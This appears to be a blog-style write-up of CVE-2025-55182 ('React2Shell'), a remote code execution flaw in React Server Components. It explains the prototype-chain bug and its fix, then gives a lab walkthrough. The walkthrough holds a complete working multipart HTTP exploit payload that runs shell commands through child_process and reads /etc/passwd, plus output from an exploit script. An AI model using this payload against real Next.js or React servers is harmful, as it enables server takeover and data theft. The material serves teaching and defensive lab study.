React2Shell: The Single Line of Code That Broke the Internet

React2Shell: The Single Line of Code That Broke the Internet

Understanding CVE-2025–55182 in plain English

I still remember December 3rd, 2024. I was scrolling through Twitter when I saw it - React had just disclosed a critical vulnerability. CVSS 10.0. The maximum severity score possible. Within hours, security researchers confirmed it: a single HTTP request could give attackers complete control over millions of websites. This is the story of CVE-2025–55182, also known as React2Shell.

The 3-Second Version

Imagine your house has a security system. When someone knocks, the system should check their ID before opening the door. React Server Components forgot to check IDs. An attacker could knock in a specific way, and the door would just… open. Full access to everything inside.

Who's Affected?

Research shows 39% of all cloud environments have vulnerable React instances running right now. React 19.0–19.2.0 Next.js 15.x or 16.0–16.6

Understanding React Server Components (RSC)

Before we dive into the vulnerability, you need to understand what React Server Components actually are. React 19 introduced a game-changer: split your code between server and browser. Server Components (new) run on your server - can access databases, faster loading. Client Components (traditional) run in the browser - handle clicks, forms, interactions. The benefit? Websites load 50–70% faster. The problem? They need to talk to each other using something called the Flight Protocol.

The Flight Protocol: The Missing Piece

Here's where it gets interesting. When your browser needs data from a Server Component, it can't just ask nicely. They speak different languages. That's where the Flight Protocol comes in.

What is the Flight Protocol?

Think of it as a specialized delivery system. It packages data into "chunks" and sends them between server and client.

Browser: "Hey server, I need user data"
Server: "Here you go, packaged in Flight format"
        
Chunk 0: {"user": {"name": "John", "id": 123}}
Chunk 1: {"comment": "Great post!", "author": "$0"}
           ↑
    "$0" means "reference the data in Chunk 0"
        

The $ symbol is special-it tells React "go look up this reference in another chunk." This is super efficient… but also dangerous.

How the Exploit Works

Let me break down the entire attack chain in a way anyone can understand.

The Core Concept: JavaScript's Hidden Inheritance Every object in JavaScript has a hidden connection to a "parent object" that gives it extra abilities. Think of it like this:

  1. Your car has features you added (custom seats, sound system)
  2. But it also inherits features from the factory (engine, wheels, steering)
  3. And those features inherit from even more basic blueprints (metal, rubber, glass)

In JavaScript, if you keep following this inheritance chain upward, you eventually reach something called the Function Constructor - a powerful tool that can create and execute any code from plain text. Normally, applications can't reach this. It's locked away for safety. But React Server Components forgot to lock the door.

Article content

The Vulnerability: A Missing Security Check

When React processes Flight Protocol data, it needs to look up references like $1:propertyName. The vulnerable code did this:

// What React did (VULNERABLE)
function getProperty(object, propertyName) {
    return object[propertyName];  // Just grab it, no questions asked
}
        

The problem? This doesn't check if the property actually belongs to that object. It will happily reach into the inheritance chain and grab proto, constructor, or anything else.

The fix was simple:

// What React should have done (SECURE)
function getProperty(object, propertyName) {
    if (object.hasOwnProperty(propertyName)) {  // Verify it's a direct property
        return object[propertyName];
    }
    return undefined;  // Reject suspicious access
}
        

That one missing hasOwnProperty() check opened the door to complete system compromise.

Try It Yourself: Hands-On Lab

⚠️ Legal Disclaimer: Only test on systems you own. Unauthorized testing is illegal. This lab is for educational purposes only.

What You'll Need

  1. Docker installed on your machine
  2. Burp Suite (Community Edition is fine)
  3. Basic command line knowledge
  4. 10 minutes of your time

Lab Setup

Step 1: Clone the Repository

git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab
cd CVE-2025-55182-Lab
        

Step 2: Start the Vulnerable Application

sudo docker-compose up -d
        

Wait about 20 seconds for the application to start.

Article content

Step 3: Verify It's Running Open your browser and go to http://localhost:3000 You should see "TechBlog Pro"

Article content

Method 1: Exploitation with Burp Suite

  1. Step 1: Configure Burp Suite**
  2. Open Burp Suite
  3. Go to Proxy → Intercept
  4. Set your browser to use Burp proxy (127.0.0.1:8080)
  5. Turn intercept ON

Step 2: Capture a Request

Visit http://localhost:3000 in your browser and click anywhere on the page. Burp will intercept the request.

Article content

Step 3: Send to Repeater

  1. Right-click the request → Send to Repeater
  2. Go to Repeater tab

Step 4: Craft the Exploit Replace the entire request with this:

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 787
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('head -n 3 /etc/passwd',{'timeout':5000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
        

Step 5: Send the Exploit

Click "Send" in Burp Suite.

Article content

BOOM! We have successfully exploited…

Method 2: Exploitation with Python Script

For those who prefer automation, I've included a ready-to-use exploit script.

Step 1: Run the Exploit

python3 exploit.py "whoami"
        

Step 2: See the Results

┌──(kali㉿kali)-[~/Desktop/cve-2025–55182-lab]
└─$ python3 exploit.py http://127.0.0.1:3000 'cat /etc/passwd'
[*] CVE-2025–55182 RCE Exploit (Burp Method)
[*] Target: http://127.0.0.1:3000/
[*] Command: cat /etc/passwd
[*] Sending exploit…
[*] Status: 500
============================================================
✓✓✓ EXPLOITATION SUCCESSFUL! ✓✓✓
============================================================
Command: cat /etc/passwd
Output:
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
        

Thanks for reading! I hope this helped you understand CVE-2025–55182. If you have questions, suggestions, or just want to discuss security stuff, feel free to reach out. I'm always happy to connect with fellow security enthusiasts. Got feedback? Found something unclear? Spotted an error? DM me - I'd love to hear from you.

⚠️Responsible Disclosure

This research is for educational purposes only. The lab environment is isolated and safe for learning.

This is a fantastic breakdown of React server vulnerabilities Dhananjayakumar N . You managed to make a complex security topic incredibly clean and easy to follow. I really appreciated the detailed explanation, it kept the main points clear and crisp throughout. Thanks for sharing

Great write-up, Dhananjayakumar N 👏 Really appreciate the depth and clarity you’ve brought to this React vulnerability. Explaining not just the issue but also the exploitation details makes it extremely valuable for security engineers and developers alike. This kind of practical, real-world analysis helps teams truly understand risk and build more resilient applications. Thanks for sharing such a solid piece of work!

To view or add a comment, sign in

Others also viewed

Explore content categories